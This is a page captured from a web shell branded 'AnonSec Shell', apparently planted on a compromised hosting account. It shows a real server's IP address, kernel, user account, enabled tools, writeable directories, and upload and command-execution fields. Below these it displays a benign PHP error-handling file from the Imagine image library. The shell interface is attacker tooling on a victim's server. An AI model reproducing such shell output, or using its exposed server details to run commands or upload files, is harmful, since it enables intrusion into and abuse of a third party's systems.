AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/dansnotreville-fr/nice/libraries/CBLib/Imagine/Utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/dansnotreville-fr/nice/libraries/CBLib/Imagine/Utils/ErrorHandling.php
<?php

/*
 * This file is part of the Imagine package.
 *
 * (c) Bulat Shakirzyanov <mallluhuct@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Imagine\Utils;

use ErrorException;
use Exception;
use Imagine\Exception\RuntimeException;
use Throwable;

class ErrorHandling
{
    /**
     * Call a callback ignoring $flags warnings.
     *
     * @param int $flags The flags to be ignored (eg E_WARNING | E_NOTICE)
     * @param callable $callback The callable to be called
     *
     * @throws \Exception Throws an Exception if $callback throws an Exception
     * @throws \Throwable Throws an Throwable if $callback throws an Throwable
     *
     * @return mixed Returns the result of $callback
     */
    public static function ignoring($flags, $callback)
    {
        set_error_handler(
            function () {
            },
            $flags
        );
        try {
            $result = $callback();
            $exception = null;
        } catch (Exception $x) {
            $exception = $x;
        } catch (Throwable $x) {
            $exception = $x;
        }
        restore_error_handler();
        if ($exception !== null) {
            throw $exception;
        }

        return $result;
    }

    /**
     * Call a callback and throws a RuntimeException if a $flags warning is thrown.
     *
     * @param int $flags The flags to be intercepted (eg E_WARNING | E_NOTICE)
     * @param callable $callback The callable to be called
     *
     * @throws RuntimeException
     * @throws \Imagine\Exception\RuntimeException
     * @throws \Exception
     * @throws \Throwable
     *
     * @return mixed Returns the result of $callback
     */
    public static function throwingRuntimeException($flags, $callback)
    {
        set_error_handler(
            function ($errno, $errstr, $errfile, $errline) {
                if (error_reporting() !== 0) {
                    throw new RuntimeException($errstr, $errno, new ErrorException($errstr, 0, $errno, $errfile, $errline));
                }
            },
            $flags
        );
        try {
            $result = $callback();
            $exception = null;
        } catch (Exception $x) {
            $exception = $x;
        } catch (Throwable $x) {
            $exception = $x;
        }
        restore_error_handler();
        if ($exception !== null) {
            throw $exception;
        }

        return $result;
    }
}

Anon7 - 2022
AnonSec Team